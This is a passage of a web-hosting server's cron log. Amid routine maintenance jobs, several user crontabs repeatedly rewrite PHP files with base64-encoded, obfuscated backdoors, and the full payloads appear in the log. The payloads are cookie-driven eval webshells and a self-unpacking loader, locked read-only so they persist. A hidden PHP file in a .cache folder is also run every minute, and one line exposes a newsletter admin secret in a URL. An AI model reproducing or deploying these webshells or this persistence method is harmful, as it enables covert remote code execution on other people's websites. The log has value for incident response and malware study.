"PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:49:01 medusa CROND[14254]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:49:01 medusa CROND[14255]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:49:01 medusa CROND[14258]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:49:01 medusa CROND[14262]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:49:01 medusa CROND[14257]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:49:01 medusa CROND[14263]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:49:01 medusa CROND[14261]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:50:01 medusa CROND[6029]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 04:50:01 medusa CROND[6045]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 04:50:01 medusa CROND[6156]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 04:50:01 medusa CROND[6163]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:50:01 medusa CROND[6162]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 04:50:01 medusa CROND[6165]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 04:50:01 medusa CROND[6167]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Apr 19 04:50:01 medusa CROND[6168]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Apr 19 04:50:01 medusa CROND[6169]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 19 04:50:01 medusa CROND[6170]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 04:50:01 medusa CROND[6171]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 04:50:01 medusa CROND[6172]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 19 04:50:01 medusa CROND[6164]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:50:01 medusa CROND[6177]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:50:01 medusa CROND[6180]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:50:01 medusa CROND[6182]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:50:01 medusa CROND[6185]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:50:01 medusa CROND[6178]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 04:50:01 medusa CROND[6186]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Apr 19 04:50:01 medusa CROND[6198]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:50:01 medusa CROND[6199]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:50:01 medusa CROND[6200]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:50:01 medusa CROND[6192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:50:01 medusa CROND[6221]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 04:50:01 medusa CROND[6213]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 04:50:01 medusa CROND[6226]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:50:01 medusa CROND[6202]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Apr 19 04:50:01 medusa CROND[6179]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 19 04:50:01 medusa CROND[6215]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 04:50:01 medusa CROND[6201]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 04:51:02 medusa CROND[30943]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:51:02 medusa CROND[30944]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:51:02 medusa CROND[30946]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:51:02 medusa CROND[30945]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:51:02 medusa CROND[30947]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo 